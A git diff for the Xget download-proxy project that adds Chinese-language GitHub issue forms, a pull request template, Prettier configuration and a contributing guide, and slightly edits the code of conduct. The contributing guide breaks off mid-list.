diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md deleted file mode 100644 index dd84ea7..0000000 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -name: Bug report -about: Create a report to help us improve -title: '' -labels: '' -assignees: '' - ---- - -**Describe the bug** -A clear and concise description of what the bug is. - -**To Reproduce** -Steps to reproduce the behavior: -1. Go to '...' -2. Click on '....' -3. Scroll down to '....' -4. See error - -**Expected behavior** -A clear and concise description of what you expected to happen. - -**Screenshots** -If applicable, add screenshots to help explain your problem. - -**Desktop (please complete the following information):** - - OS: [e.g. iOS] - - Browser [e.g. chrome, safari] - - Version [e.g. 22] - -**Smartphone (please complete the following information):** - - Device: [e.g. iPhone6] - - OS: [e.g. iOS8.1] - - Browser [e.g. stock browser, safari] - - Version [e.g. 22] - -**Additional context** -Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/bug_report.yml b/.github/ISSUE_TEMPLATE/bug_report.yml new file mode 100644 index 0000000..62f351f --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.yml @@ -0,0 +1,146 @@ +name: 🐛 错误报告 +description: 报告一个错误以帮助我们改进 +title: "[BUG] " +labels: ["bug", "需要分类"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + 感谢您花时间填写错误报告!请提供尽可能详细的信息以帮助我们快速定位和解决问题。 + + - type: textarea + id: bug-description + attributes: + label: 错误描述 + description: 清楚简洁地描述这个错误是什么 + placeholder: 描述您遇到的问题... + validations: + required: true + + - type: textarea + id: reproduction-steps + attributes: + label: 重现步骤 + description: 重现此行为的步骤 + placeholder: | + 1. 访问 '...' + 2. 点击 '....' + 3. 滚动到 '....' + 4. 看到错误 + validations: + required: true + + - type: textarea + id: expected-behavior + attributes: + label: 预期行为 + description: 清楚简洁地描述您期望发生什么 + placeholder: 描述您期望的正确行为... + validations: + required: true + + - type: dropdown + id: platform + attributes: + label: 受影响的平台 + description: 选择出现问题的平台 + options: + - GitHub + - GitLab + - Hugging Face + - npm + - PyPI + - conda + - 其他 + multiple: true + validations: + required: true + + - type: input + id: url-example + attributes: + label: 问题 URL 示例 + description: 提供出现问题的具体 URL + placeholder: https://xget.xi-xu.me/gh/... + validations: + required: false + + - type: dropdown + id: operation-type + attributes: + label: 操作类型 + description: 选择您执行的操作类型 + options: + - 文件下载 + - Git 克隆 + - Git 推送 + - Git 拉取 + - 包管理器使用 + - 其他 + validations: + required: true + + - type: textarea + id: error-message + attributes: + label: 错误信息 + description: 如果有错误信息,请粘贴在这里 + render: shell + placeholder: 粘贴完整的错误信息... + validations: + required: false + + - type: dropdown + id: browsers + attributes: + label: 浏览器/工具 + description: 您使用的是什么浏览器或下载工具? + options: + - Chrome + - Firefox + - Safari + - Edge + - wget + - curl + - aria2 + - git + - npm + - pip + - conda + - 其他 + multiple: true + validations: + required: false + + - type: input + id: instance-url + attributes: + label: 实例 URL + description: 您使用的 Xget 实例 URL + placeholder: https://xget.xi-xu.me 或您自己的实例 + validations: + required: false + + - type: textarea + id: additional-context + attributes: + label: 附加信息 + description: 添加关于问题的任何其他信息 + placeholder: 任何可能有助于解决问题的额外信息... + validations: + required: false + + - type: checkboxes + id: terms + attributes: + label: 确认 + description: 在提交之前,请确认以下内容 + options: + - label: 我已经搜索了现有的 issues,确认这不是重复报告 + required: true + - label: 我已经阅读了项目文档和故障排除指南 + required: true + - label: 我提供的信息准确且完整 + required: true diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..5c19c73 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,14 @@ +blank_issues_enabled: false +contact_links: + - name: 📚 项目文档 + url: https://github.com/xixu-me/Xget/blob/main/README.md + about: 查看完整的项目文档和使用指南 + - name: 💬 讨论区 + url: https://github.com/xixu-me/Xget/discussions + about: 参与社区讨论,分享使用经验和最佳实践 + - name: 🌐 公共实例 + url: https://xget.xi-xu.me + about: 访问官方公共实例,开箱即用 + - name: 🔧 故障排除 + url: https://github.com/xixu-me/Xget/blob/main/README.md#-故障排除 + about: 查看常见问题和解决方案 diff --git a/.github/ISSUE_TEMPLATE/custom.md b/.github/ISSUE_TEMPLATE/custom.md deleted file mode 100644 index 48d5f81..0000000 --- a/.github/ISSUE_TEMPLATE/custom.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -name: Custom issue template -about: Describe this issue template's purpose here. -title: '' -labels: '' -assignees: '' - ---- - - diff --git a/.github/ISSUE_TEMPLATE/deployment_help.yml b/.github/ISSUE_TEMPLATE/deployment_help.yml new file mode 100644 index 0000000..c4db9f8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/deployment_help.yml @@ -0,0 +1,201 @@ +name: 🚀 部署帮助 +description: 获取部署相关的帮助 +title: "[DEPLOYMENT] " +labels: ["deployment", "help wanted"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + 需要部署帮助?我们来协助您成功部署 Xget 实例! + + - type: dropdown + id: deployment-type + attributes: + label: 部署类型 + description: 您想要进行哪种类型的部署? + options: + - Cloudflare Workers (推荐) + - 自定义域名绑定 + - 企业内部部署 + - 开发环境搭建 + - 其他平台部署 + validations: + required: true + + - type: dropdown + id: experience-level + attributes: + label: 技术经验水平 + description: 您的技术背景如何? + options: + - 初学者 - 刚开始学习 + - 中级 - 有一些经验 + - 高级 - 经验丰富 + - 专家 - 非常熟练 + validations: + required: true + + - type: textarea + id: current-issue + attributes: + label: 当前遇到的问题 + description: 详细描述您在部署过程中遇到的具体问题 + placeholder: 描述您遇到的具体问题、错误信息或困惑... + validations: + required: true + + - type: textarea + id: steps-taken + attributes: + label: 已尝试的步骤 + description: 列出您已经尝试过的步骤 + placeholder: | + 1. 我已经... + 2. 然后我尝试了... + 3. 接着我... + validations: + required: true + + - type: textarea + id: error-messages + attributes: + label: 错误信息 + description: 如果有错误信息,请完整粘贴 + render: shell + placeholder: 粘贴完整的错误信息... + validations: + required: false + + - type: dropdown + id: operating-system + attributes: + label: 操作系统 + description: 您使用的操作系统 + options: + - Windows + - macOS + - Linux (Ubuntu/Debian) + - Linux (CentOS/RHEL) + - Linux (其他发行版) + - 其他 + validations: + required: false + + - type: input + id: node-version + attributes: + label: Node.js 版本 + description: 您的 Node.js 版本(如果相关) + placeholder: 例如:v18.17.0 + validations: + required: false + + - type: input + id: npm-version + attributes: + label: npm 版本 + description: 您的 npm 版本(如果相关) + placeholder: 例如:9.6.7 + validations: + required: false + + - type: dropdown + id: cloudflare-account + attributes: + label: Cloudflare 账户状态 + description: 您的 Cloudflare 账户状态(如果使用 Cloudflare Workers) + options: + - 还没有账户 + - 有免费账户 + - 有付费账户 + - 不确定 + - 不使用 Cloudflare + validations: + required: false + + - type: textarea + id: custom-requirements + attributes: + label: 自定义需求 + description: 您是否有特殊的部署需求或配置要求? + placeholder: | + 例如: + - 需要自定义域名 + - 需要特定的缓存策略 + - 需要企业级安全配置 + - 需要集成现有系统 + validations: + required: false + + - type: input + id: target-domain + attributes: + label: 目标域名 + description: 如果您计划使用自定义域名,请提供 + placeholder: 例如:xget.example.com + validations: + required: false + + - type: dropdown + id: expected-usage + attributes: + label: 预期使用量 + description: 您预期的使用量级别 + options: + - 个人使用 - 偶尔使用 + - 小团队 - 日常使用 + - 中型团队 - 频繁使用 + - 大型组织 - 高频使用 + - 公共服务 - 大量用户 + validations: + required: false + + - type: textarea + id: configuration-questions + attributes: + label: 配置相关问题 + description: 关于配置的具体问题 + placeholder: | + 例如: + - 如何修改缓存时间? + - 如何添加新平台支持? + - 如何配置安全策略? + validations: + required: false + + - type: dropdown + id: urgency + attributes: + label: 紧急程度 + description: 您需要帮助的紧急程度 + options: + - 低 - 有时间慢慢解决 + - 中 - 希望尽快解决 + - 高 - 比较急需 + - 紧急 - 阻碍工作进展 + validations: + required: true + + - type: textarea + id: additional-context + attributes: + label: 附加信息 + description: 任何其他可能有助于提供帮助的信息 + placeholder: 其他相关信息、截图、配置文件内容等... + validations: + required: false + + - type: checkboxes + id: terms + attributes: + label: 确认 + description: 在提交之前,请确认以下内容 + options: + - label: 我已经阅读了项目的 README 和部署文档 + required: true + - label: 我已经搜索了现有的 issues 寻找类似问题 + required: true + - label: 我提供的信息准确且完整 + required: true diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md deleted file mode 100644 index bbcbbe7..0000000 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -name: Feature request -about: Suggest an idea for this project -title: '' -labels: '' -assignees: '' - ---- - -**Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] - -**Describe the solution you'd like** -A clear and concise description of what you want to happen. - -**Describe alternatives you've considered** -A clear and concise description of any alternative solutions or features you've considered. - -**Additional context** -Add any other context or screenshots about the feature request here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.yml b/.github/ISSUE_TEMPLATE/feature_request.yml new file mode 100644 index 0000000..7cfe3ab --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.yml @@ -0,0 +1,131 @@ +name: ✨ 功能请求 +description: 为这个项目建议一个想法 +title: "[FEATURE] " +labels: ["enhancement", "需要分类"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + 感谢您提出功能建议!我们重视每一个改进建议,请详细描述您的想法。 + + - type: textarea + id: problem-description + attributes: + label: 问题描述 + description: 您的功能请求是否与某个问题相关?请清楚简洁地描述问题是什么 + placeholder: 我在使用时遇到了困扰,因为... + validations: + required: true + + - type: textarea + id: solution-description + attributes: + label: 解决方案描述 + description: 清楚简洁地描述您希望实现的功能 + placeholder: 我希望能够... + validations: + required: true + + - type: dropdown + id: feature-category + attributes: + label: 功能类别 + description: 这个功能属于哪个类别? + options: + - 性能优化 + - 新平台支持 + - 安全增强 + - 用户体验改进 + - API 功能 + - 配置选项 + - 监控和日志 + - 文档改进 + - 其他 + validations: + required: true + + - type: dropdown + id: priority + attributes: + label: 优先级 + description: 您认为这个功能的优先级如何? + options: + - 低 - 有了更好 + - 中 - 会很有用 + - 高 - 非常需要 + - 紧急 - 阻碍使用 + validations: + required: true + + - type: textarea + id: alternatives + attributes: + label: 替代方案 + description: 清楚简洁地描述您考虑过的任何替代解决方案或功能 + placeholder: 我也考虑过... + validations: + required: false + + - type: textarea + id: use-cases + attributes: + label: 使用场景 + description: 描述这个功能的具体使用场景和受益用户群体 + placeholder: | + 这个功能将帮助: + - 开发者在...场景下 + - 企业用户需要... + - 个人用户想要... + validations: + required: true + + - type: textarea + id: implementation-ideas + attributes: + label: 实现想法 + description: 如果您有关于如何实现这个功能的想法,请分享 + placeholder: 可能的实现方式... + validations: + required: false + + - type: dropdown + id: affected-platforms + attributes: + label: 涉及平台 + description: 这个功能涉及哪些平台? + options: + - 所有平台 + - GitHub + - GitLab + - Hugging Face + - npm + - PyPI + - conda + - 新平台 + multiple: true + validations: + required: false + + - type: textarea + id: additional-context + attributes: + label: 附加信息 + description: 添加关于功能请求的任何其他信息、截图或示例 + placeholder: 任何有助于理解功能需求的额外信息... + validations: + required: false + + - type: checkboxes + id: terms + attributes: + label: 确认 + description: 在提交之前,请确认以下内容 + options: + - label: 我已经搜索了现有的 issues,确认这不是重复请求 + required: true + - label: 我已经阅读了项目文档,确认此功能尚未存在 + required: true + - label: 这个功能符合项目的目标和范围 + required: true diff --git a/.github/ISSUE_TEMPLATE/performance_issue.yml b/.github/ISSUE_TEMPLATE/performance_issue.yml new file mode 100644 index 0000000..b7d72e8 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/performance_issue.yml @@ -0,0 +1,205 @@ +name: ⚡ 性能问题 +description: 报告性能相关的问题 +title: "[PERFORMANCE] " +labels: ["performance", "需要分类"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + 感谢您报告性能问题!性能数据对我们优化服务非常重要。 + + - type: textarea + id: performance-issue + attributes: + label: 性能问题描述 + description: 详细描述您遇到的性能问题 + placeholder: 描述具体的性能问题,如下载速度慢、响应时间长等... + validations: + required: true + + - type: dropdown + id: issue-type + attributes: + label: 问题类型 + description: 选择性能问题的类型 + options: + - 下载速度慢 + - 响应时间长 + - 连接超时 + - 频繁重试 + - 缓存未命中 + - Git 操作缓慢 + - 其他 + validations: + required: true + + - type: dropdown + id: affected-platform + attributes: + label: 受影响的平台 + description: 选择出现性能问题的平台 + options: + - GitHub + - GitLab + - Hugging Face + - npm + - PyPI + - conda + - 所有平台 + multiple: true + validations: + required: true + + - type: input + id: file-size + attributes: + label: 文件大小 + description: 如果涉及文件下载,请提供文件大小 + placeholder: 例如:100MB, 1.5GB + validations: + required: false + + - type: input + id: download-speed + attributes: + label: 实际下载速度 + description: 您观察到的下载速度 + placeholder: 例如:500KB/s, 2MB/s + validations: + required: false + + - type: input + id: expected-speed + attributes: + label: 期望下载速度 + description: 您期望的下载速度或直接访问源站的速度 + placeholder: 例如:10MB/s, 50MB/s + validations: + required: false + + - type: textarea + id: performance-metrics + attributes: + label: 性能指标 + description: 如果您有具体的性能数据,请提供(如响应头中的 X-Performance-Metrics) + render: json + placeholder: 粘贴性能指标数据... + validations: + required: false + + - type: input + id: test-url + attributes: + label: 测试 URL + description: 提供出现性能问题的具体 URL + placeholder: https://xget.xi-xu.me/gh/... + validations: + required: false + + - type: dropdown + id: geographic-location + attributes: + label: 地理位置 + description: 您的大致地理位置(有助于分析 CDN 性能) + options: + - 中国大陆 + - 中国香港 + - 中国台湾 + - 日本 + - 韩国 + - 新加坡 + - 美国西海岸 + - 美国东海岸 + - 欧洲 + - 其他亚洲地区 + - 其他地区 + validations: + required: false + + - type: dropdown + id: network-type + attributes: + label: 网络类型 + description: 您使用的网络类型 + options: + - 家庭宽带 + - 企业网络 + - 移动网络 (4G) + - 移动网络 (5G) + - 公共 WiFi + - VPN + - 其他 + validations: + required: false + + - type: input + id: bandwidth + attributes: + label: 网络带宽 + description: 您的网络带宽 + placeholder: 例如:100Mbps, 1Gbps + validations: + required: false + + - type: dropdown + id: tool-used + attributes: + label: 使用的工具 + description: 您使用什么工具进行下载或操作? + options: + - 浏览器下载 + - wget + - curl + - aria2 + - git + - npm + - pip + - conda + - 其他 + validations: + required: false + + - type: input + id: instance-url + attributes: + label: 实例 URL + description: 您使用的 Xget 实例 + placeholder: https://xget.xi-xu.me 或您自己的实例 + validations: + required: false + + - type: textarea + id: comparison-test + attributes: + label: 对比测试 + description: 如果您进行了对比测试(如直接访问源站),请提供结果 + placeholder: | + 直接访问源站速度:... + 通过 Xget 访问速度:... + 测试时间:... + validations: + required: false + + - type: textarea + id: additional-context + attributes: + label: 附加信息 + description: 任何其他可能有助于诊断性能问题的信息 + placeholder: 其他相关信息... + validations: + required: false + + - type: checkboxes + id: terms + attributes: + label: 确认 + description: 在提交之前,请确认以下内容 + options: + - label: 我已经尝试了多次测试以确认问题的一致性 + required: true + - label: 我已经检查了网络连接和本地环境 + required: true + - label: 我提供的性能数据准确可靠 + required: true diff --git a/.github/ISSUE_TEMPLATE/platform_support.yml b/.github/ISSUE_TEMPLATE/platform_support.yml new file mode 100644 index 0000000..4ea7c40 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/platform_support.yml @@ -0,0 +1,199 @@ +name: 🌐 平台支持请求 +description: 请求添加新平台支持 +title: "[PLATFORM] " +labels: ["platform", "enhancement"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + 感谢您提出新平台支持请求!我们致力于支持更多有价值的平台。 + + - type: input + id: platform-name + attributes: + label: 平台名称 + description: 您希望支持的平台名称 + placeholder: 例如:Bitbucket, SourceForge, Codeberg + validations: + required: true + + - type: input + id: platform-url + attributes: + label: 平台 URL + description: 平台的主要 URL + placeholder: https://example.com + validations: + required: true + + - type: textarea + id: platform-description + attributes: + label: 平台描述 + description: 简要描述这个平台的用途和特点 + placeholder: 这是一个用于...的平台,主要特点是... + validations: + required: true + + - type: dropdown + id: platform-type + attributes: + label: 平台类型 + description: 选择平台的主要类型 + options: + - 代码托管 (Git) + - 包管理器 + - 模型/数据集托管 + - 文件存储 + - 容器镜像 + - 文档托管 + - 其他 + validations: + required: true + + - type: textarea + id: url-patterns + attributes: + label: URL 模式示例 + description: 提供该平台的典型 URL 模式示例 + placeholder: | + 文件下载:https://example.com/user/repo/releases/download/v1.0/file.zip + Git 克隆:https://example.com/user/repo.git + API 访问:https://api.example.com/v1/... + validations: + required: true + + - type: dropdown + id: supported-operations + attributes: + label: 需要支持的操作 + description: 选择需要支持的操作类型 + options: + - 文件下载 + - Git 克隆 + - Git 推送 + - API 访问 + - 包下载 + - 元数据获取 + - 其他 + multiple: true + validations: + required: true + + - type: textarea + id: authentication + attributes: + label: 认证要求 + description: 该平台是否需要特殊的认证方式? + placeholder: | + - 是否需要 API Token? + - 是否有公开访问的内容? + - 认证方式是什么? + validations: + required: false + + - type: textarea + id: rate-limits + attributes: + label: 速率限制 + description: 该平台是否有已知的速率限制或访问限制? + placeholder: 例如:每小时 1000 次请求,需要 User-Agent 等 + validations: + required: false + + - type: dropdown + id: popularity + attributes: + label: 平台流行度 + description: 您认为这个平台的使用程度如何? + options: + - 非常流行 - 广泛使用 + - 较为流行 - 有一定用户群体 + - 小众但重要 - 特定领域重要 + - 新兴平台 - 发展潜力大 + validations: + required: true + + - type: textarea + id: use-cases + attributes: + label: 使用场景 + description: 描述支持这个平台的主要使用场景和受益用户 + placeholder: | + 这个平台主要用于: + - 开发者需要... + - 企业用户使用它来... + - 学术研究中... + validations: + required: true + + - type: textarea + id: technical-challenges + attributes: + label: 技术挑战 + description: 您是否了解支持这个平台可能面临的技术挑战? + placeholder: | + 可能的技术挑战: + - 特殊的 URL 结构 + - 复杂的认证流程 + - 特殊的请求头要求 + - 其他技术限制 + validations: + required: false + + - type: input + id: similar-platforms + attributes: + label: 类似平台 + description: 是否有已支持的类似平台可以参考? + placeholder: 例如:类似于 GitHub 的功能 + validations: + required: false + + - type: textarea + id: documentation + attributes: + label: 相关文档 + description: 提供该平台的 API 文档或开发者文档链接 + placeholder: | + - API 文档:https://... + - 开发者指南:https://... + - 其他相关资源:https://... + validations: + required: false + + - type: dropdown + id: priority-level + attributes: + label: 优先级 + description: 您认为这个平台支持的优先级如何? + options: + - 高 - 急需支持 + - 中 - 希望尽快支持 + - 低 - 有时间时支持 + validations: + required: true + + - type: textarea + id: additional-info + attributes: + label: 附加信息 + description: 任何其他有助于评估和实现平台支持的信息 + placeholder: 其他相关信息... + validations: + required: false + + - type: checkboxes + id: terms + attributes: + label: 确认 + description: 在提交之前,请确认以下内容 + options: + - label: 我已经确认该平台提供公开可访问的内容 + required: true + - label: 我了解该平台的使用条款和限制 + required: true + - label: 我提供的信息准确且完整 + required: true diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..2057c24 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,229 @@ +# Pull Request + +## 📋 变更概述 + +### 变更类型 + +请选择适用的类型: + +- [ ] 🐛 Bug 修复 +- [ ] ✨ 新功能 +- [ ] 📚 文档更新 +- [ ] 🎨 代码格式化/重构 +- [ ] ⚡ 性能优化 +- [ ] 🧪 测试相关 +- [ ] 🔧 构建/配置更改 +- [ ] 🌐 新平台支持 + +### 变更描述 + +简要描述此 PR 的主要变更内容: + +### 相关 Issue + +关联的 Issue 编号(如果有): + +- Closes # +- Fixes # +- Related to # + +## 🔍 详细说明 + +### 变更内容 + +详细描述您所做的更改: + +### 实现方法 + +说明您是如何实现这些更改的: + +### 影响范围 + +这些更改会影响哪些部分: + +- [ ] 核心代理逻辑 +- [ ] 平台配置 +- [ ] 安全机制 +- [ ] 缓存策略 +- [ ] 性能监控 +- [ ] 文档 +- [ ] 测试 +- [ ] 其他: + +## 🧪 测试 + +### 测试环境 + +- [ ] 本地开发环境 +- [ ] Cloudflare Workers 测试环境 +- [ ] 生产环境(如适用) + +### 测试用例 + +描述您进行的测试: + +#### 功能测试 + +- [ ] 基本功能正常工作 +- [ ] 边界情况处理正确 +- [ ] 错误处理机制有效 + +#### 平台测试(如适用) + +- [ ] GitHub 文件下载 +- [ ] GitLab 文件下载 +- [ ] Hugging Face 模型下载 +- [ ] npm 包下载 +- [ ] PyPI 包下载 +- [ ] conda 包下载 +- [ ] Git 操作(clone/push/pull) + +#### 性能测试 + +- [ ] 响应时间在可接受范围内 +- [ ] 缓存机制工作正常 +- [ ] 内存使用合理 + +### 测试结果 + +提供测试结果或截图: + +## 📝 检查清单 + +### 代码质量 + +- [ ] 代码遵循项目编码规范 +- [ ] 添加了必要的注释 +- [ ] 没有遗留的调试代码 +- [ ] 处理了所有可能的错误情况 + +### 测试覆盖 + +- [ ] 为新功能添加了测试用例 +- [ ] 所有测试都通过 +- [ ] 测试覆盖率没有显著下降 + +### 文档更新 + +- [ ] 更新了相关的 README 部分 +- [ ] 更新了 API 文档(如适用) +- [ ] 添加了使用示例(如适用) +- [ ] 更新了配置说明(如适用) + +### 兼容性 + +- [ ] 向后兼容现有功能 +- [ ] 不会破坏现有的 API +- [ ] 考虑了不同平台的兼容性 + +## 🚀 部署注意事项 + +### 配置变更 + +是否需要更新配置: + +- [ ] 无需配置变更 +- [ ] 需要更新环境变量 +- [ ] 需要更新 wrangler.toml +- [ ] 需要更新平台配置 + +### 部署风险 + +评估部署风险: + +- [ ] 低风险 - 仅文档或小幅改进 +- [ ] 中风险 - 功能增强或重构 +- [ ] 高风险 - 核心逻辑变更 + +### 回滚计划 + +如果需要回滚,说明回滚步骤: + +## 📊 性能影响 + +### 性能指标 + +如果涉及性能变更,请提供相关数据: + +#### 响应时间 + +- 变更前: +- 变更后: +- 改进幅度: + +#### 内存使用 + +- 变更前: +- 变更后: +- 变化情况: + +#### 缓存效率 + +- 缓存命中率变化: +- 缓存策略优化: + +## 🔒 安全考虑 + +### 安全影响 + +- [ ] 此变更不涉及安全问题 +- [ ] 此变更增强了安全性 +- [ ] 此变更可能有安全影响(请详细说明) + +### 安全检查 + +- [ ] 输入验证充分 +- [ ] 输出编码正确 +- [ ] 权限控制适当 +- [ ] 敏感信息保护 + +## 📸 截图/演示 + +如果适用,请提供截图或演示链接: + +## 💬 其他说明 + +### 已知问题 + +列出任何已知的问题或限制: + +### 后续工作 + +描述可能的后续改进或相关工作: + +### 特别说明 + +任何需要审查者特别注意的地方: + +--- + +## 审查者检查清单 + +### 代码审查 + +- [ ] 代码逻辑正确 +- [ ] 代码风格一致 +- [ ] 性能考虑充分 +- [ ] 安全措施到位 + +### 功能验证 + +- [ ] 功能按预期工作 +- [ ] 边界情况处理正确 +- [ ] 错误处理完善 + +### 文档检查 + +- [ ] 文档更新完整 +- [ ] 示例代码正确 +- [ ] 配置说明清晰 + +### 测试验证 + +- [ ] 测试用例充分 +- [ ] 测试结果可信 +- [ ] 覆盖率满足要求 + +--- + +感谢您的贡献!🎉 diff --git a/.prettierignore b/.prettierignore new file mode 100644 index 0000000..7e4335d --- /dev/null +++ b/.prettierignore @@ -0,0 +1,87 @@ +# Dependencies +node_modules/ +.pnp +.pnp.js + +# Production builds +dist/ +build/ + +# Environment files +.env +.env.local +.env.development.local +.env.test.local +.env.production.local + +# Logs +npm-debug.log* +yarn-debug.log* +yarn-error.log* +lerna-debug.log* + +# Coverage directory used by tools like istanbul +coverage/ +*.lcov + +# Dependency directories +node_modules/ +jspm_packages/ + +# Optional npm cache directory +.npm + +# Optional eslint cache +.eslintcache + +# Output of 'npm pack' +*.tgz + +# Yarn Integrity file +.yarn-integrity + +# parcel-bundler cache (https://parceljs.org/) +.cache +.parcel-cache + +# Next.js build output +.next + +# Nuxt.js build / generate output +.nuxt +dist + +# Storybook build outputs +.out +.storybook-out + +# Temporary folders +tmp/ +temp/ + +# Editor directories and files +.vscode/ +.idea/ +*.swp +*.swo +*~ + +# OS generated files +.DS_Store +.DS_Store? +._* +.Spotlight-V100 +.Trashes +ehthumbs.db +Thumbs.db + +# Wrangler +.wrangler/ + +# Git +.git/ + +# Lock files (optional - uncomment if you want to format them) +# package-lock.json +# yarn.lock +# pnpm-lock.yaml \ No newline at end of file diff --git a/.prettierrc.json b/.prettierrc.json new file mode 100644 index 0000000..e10ec05 --- /dev/null +++ b/.prettierrc.json @@ -0,0 +1,40 @@ +{ + "arrowParens": "avoid", + "bracketSameLine": false, + "bracketSpacing": true, + "embeddedLanguageFormatting": "auto", + "endOfLine": "lf", + "insertPragma": false, + "jsxSingleQuote": true, + "overrides": [ + { + "files": "*.md", + "options": { + "printWidth": 80, + "proseWrap": "always" + } + }, + { + "files": "*.json", + "options": { + "printWidth": 120 + } + }, + { + "files": "*.yml", + "options": { + "singleQuote": false, + "tabWidth": 2 + } + } + ], + "printWidth": 100, + "proseWrap": "preserve", + "quoteProps": "as-needed", + "requirePragma": false, + "semi": true, + "singleQuote": true, + "tabWidth": 2, + "trailingComma": "none", + "useTabs": false +} \ No newline at end of file diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index 10bfcb3..f7fa894 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -60,7 +60,7 @@ representative at an online or offline event. Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at -i@xi-xu.me. +. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the @@ -116,13 +116,13 @@ the community. This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at -https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. +. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). -[homepage]: https://www.contributor-covenant.org - For answers to common questions about this code of conduct, see the FAQ at -https://www.contributor-covenant.org/faq. Translations are available at -https://www.contributor-covenant.org/translations. +. Translations are available at +. + +[homepage]: https://www.contributor-covenant.org diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md new file mode 100644 index 0000000..281087c --- /dev/null +++ b/CONTRIBUTING.md @@ -0,0 +1,251 @@ +# 贡献指南 + +感谢您对 Xget 项目的关注!我们欢迎各种形式的贡献,包括但不限于代码、文档、测试、反馈和建议。 + +## 🤝 贡献方式 + +### 报告问题 + +- 使用 [Issue 模板](https://github.com/xixu-me/Xget/issues/new/choose) 报告 bug 或提出功能请求 +- 搜索现有 issues 避免重复报告 +- 提供详细的重现步骤和环境信息 + +### 提交代码 + +- Fork 项目到您的 GitHub 账户 +- 创建功能分支 (`git checkout -b feature/amazing-feature`) +- 提交更改 (`git commit -m 'Add some amazing feature'`) +- 推送到分支 (`git push origin feature/amazing-feature`) +- 创建 Pull Request + +### 改进文档 + +- 修正文档中的错误或不准确信息 +- 添加使用示例和最佳实践 +- 翻译文档到其他语言 +- 改进代码注释和 API 文档 + +## 🛠️ 开发环境设置 + +### 前置要求 + +- Node.js 18+ +- npm 或 yarn +- Git +- Cloudflare 账户(用于测试部署) + +### 本地开发 + +```bash +# 克隆项目 +git clone https://github.com/xixu-me/Xget.git +cd Xget + +# 安装依赖 +npm install + +# 启动开发服务器 +npm run dev + +# 运行测试 +npm test + +# 代码格式化 +npm run format + +# 代码检查 +npm run lint +``` + +### 项目结构 + +``` +Xget/ +├── src/ +│ ├── config/ # 配置文件 +│ │ ├── index.js # 主配置 +│ │ └── platforms.js # 平台配置 +│ ├── utils/ # 工具函数 +│ └── index.js # 主入口文件 +├── tests/ # 测试文件 +├── docs/ # 文档 +├── .github/ # GitHub 配置 +│ ├── ISSUE_TEMPLATE/ # Issue 模板 +│ └── workflows/ # CI/CD 工作流 +├── wrangler.toml # Cloudflare Workers 配置 +├── package.json +└── README.md +``` + +## 📝 代码规范 + +### 代码风格 + +- 使用 2 个空格缩进 +- 使用分号结尾 +- 使用单引号字符串 +- 遵循 ESLint 配置规则 + +### 命名约定 + +- 变量和函数使用 camelCase +- 常量使用 UPPER_SNAKE_CASE +- 类名使用 PascalCase +- 文件名使用 kebab-case + +### 注释规范 + +```javascript +/** + * 函数描述 + * @param {string} param1 - 参数1描述 + * @param {Object} param2 - 参数2描述 + * @returns {Promise} 返回值描述 + */ +function exampleFunction(param1, param2) { + // 实现逻辑 +} +``` + +## 🧪 测试 + +### 测试类型 + +- **单元测试**: 测试单个函数和模块 +- **集成测试**: 测试组件间的交互 +- **端到端测试**: 测试完整的用户场景 + +### 运行测试 + +```bash +# 运行所有测试 +npm test + +# 运行特定测试文件 +npm test -- --grep "platform" + +# 生成测试覆盖率报告 +npm run test:coverage +``` + +### 编写测试 + +- 为新功能编写相应的测试 +- 确保测试覆盖率不低于 80% +- 使用描述性的测试名称 +- 测试边界情况和错误处理 + +## 🚀 提交规范 + +### Commit 消息格式 + +使用 [Conventional Commits](https://www.conventionalcommits.org/) 规范: + +``` +[optional scope]: + +[optional body] + +[optional footer(s)] +``` + +### 类型说明 + +- `feat`: 新功能 +- `fix`: 修复 bug +- `docs`: 文档更新 +- `style`: 代码格式化(不影响功能) +- `refactor`: 代码重构 +- `perf`: 性能优化 +- `test`: 测试相关 +- `chore`: 构建过程或辅助工具的变动 + +### 示例 + +```bash +feat(platforms): add support for Bitbucket +fix(cache): resolve cache invalidation issue +docs(readme): update installation instructions +perf(proxy): optimize request handling performance +``` + +## 🔍 Pull Request 流程 + +### 提交前检查 + +- [ ] 代码通过所有测试 +- [ ] 代码符合项目规范 +- [ ] 添加了必要的测试 +- [ ] 更新了相关文档 +- [ ] Commit 消息符合规范 + +### PR 描述模板 + +请使用 [PR 模板](.github/pull_request_template.md) 填写详细信息。 + +### 代码审查 + +- 所有 PR 需要至少一个维护者的审查 +- 解决审查中提出的问题 +- 